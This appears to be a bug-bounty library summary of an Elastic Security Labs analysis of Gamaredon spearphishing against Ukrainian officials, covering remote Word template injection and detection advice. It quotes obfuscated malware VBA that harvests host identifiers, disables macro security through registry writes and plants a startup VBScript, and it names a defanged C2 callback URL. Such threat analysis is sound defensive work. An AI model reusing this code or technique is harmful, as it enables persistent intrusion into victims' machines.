# Playing defense against Gamaredon Group

Gamaredon spearphishing lures use remote Word template injection to load macro-enabled templates that install a startup VBScript reverse shell against Ukrainian officials.

- Payout: Real-world hack
- Severity: high
- Program: Microsoft
- Analysis by: Daniel Stepanic, Andrew Pease, Seth Goodwin, Elastic Security Intelligence & Analytics Team
- Disclosed: 2022-06-21
- Write-up quality: 7/10
- Original: https://www.elastic.co/security-labs/threat-command/playing-defense-against-gamaredon-group
- Library page: https://bugbountylibrary.com/r/blog%3Aelastic-co-security-labs-threat-command-playing-defense-against-gamaredon-group
- Tags: area:os domain:desktop impact:internal-access impact:rce kind:incident platform:threat-intel sev:high tech:email technique:source-review vuln:command-injection vuln:misconfiguration

**Target:** Microsoft Word OOXML documents and remote templates
**Root cause:** Lure .docx files contain no embedded macros but reference a remotely hosted macro-enabled template via settings.xml.rels in word/_rels/, so opening the document silently fetches and executes attacker VBA.
**Steps:**
1. Deliver spearphishing email with malicious .docx attachment impersonating Ukrainian government correspondence.
2. Victim opens document; Word reads `word/_rels/settings.xml.rels` pointing to a remote template on Dynamic DNS (e.g. `document-out[.]hopto[.]org/pos[.]dot`).
3. Remote macro-enabled template downloads and executes VBA that sets `HKCU\Software\Microsoft\Office\<ver>\Word\Security\AccessVBOM`=1 and `VBAWarnings`=1 to disable macro warnings.
4. Macro writes `security.vbs` to `...\Start Menu\Programs\Startup\` for persistence.
5. On logon/reboot, wscript runs security.vbs, which issues HTTP GET to `hxxp://libcrash.ddns[.]net/<ComputerName>_<SerialHex>//posolreboot.php` and stores response for staged payload reassembly.
**How found:** Elastic tracked months of lures, decompressed OOXML to inspect word/_rels/settings.xml.rels, compared document and template metadata (author ШУРИК, revision counts) to link campaigns, and deobfuscated concatenated VBA strings to reveal the C2 URI and registry writes.
**Exploitation:** Spearphishing delivers a decoy document that fetches a remote macro template; the VBA collects hostname and disk serial number, hex-encodes them into the C2 URI, disables macro security, drops a persistent startup VBScript, and polls the Dynamic DNS C2 for a segmented later-stage implant, giving the adversary a reverse shell and access to local network shares.
**Escalation:** Persistence via startup folder VBScript plus registry weakening of macro security enables recurring execution and staged payload delivery; suspected link to updated Pteranodon backdoor.
**Insight:** Remote template injection leaves no VBA in the attachment, so hunt OOXML for external relationships in settings.xml.rels and alert on Office processes making DNS/network requests to non-Microsoft hosts; also watch AccessVBOM/VBAWarnings registry writes as a macro-tampering signal.

## Proof of concept (copied exactly from the original report)

**Obfuscated VBA macro creating reverse shell**

```
Dim NoARzTHy
NoARzTHy = "Set WShell=CreateObject(""WSc" + "ri" + "pt.S" + "hel" + "l"")"
Set PWFJWatF = CreateObject("WScr" + "ipt.Ne" + "two" + "rk")
Dim pbuvwTLK, JzESywut
Set GGZucIZE = CreateObject("Sc" + "rip" + "ting.Fi" + "leSy" + "stemOb" + "ject")
pbuvwTLK = GGZucIZE.Drives(Environ("Syst" + "emDri" + "ve")).SerialNumber
OYTgBXAP = PWFJWatF.ComputerName
```

**Macro registry writes disabling macro security**

```
FEDzCjgi$ = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & _"\Word\Security\"
CreateObject("WScript.Shell").RegWrite FEDzCjgi$ & "AccessVBOM", 1, "REG_DWORD"
CreateObject("WScript.Shell").RegWrite FEDzCjgi$ & "VBAWarnings", 1, "REG_DWORD"
```

**Macro writes persistent security.vbs to startup**

```
Dim LISPVdZd As Object
Set LISPVdZd = GGZucIZE.CreateTextFile(FESHWDaD + "\Mi" + "croso" + "ft\Wi" + "ndow" + "s\St" + "art Men" + "u\Pro" + "grams\Sta" + "rtup\secur" + "ity.v" + "b" + "s", True, True)
```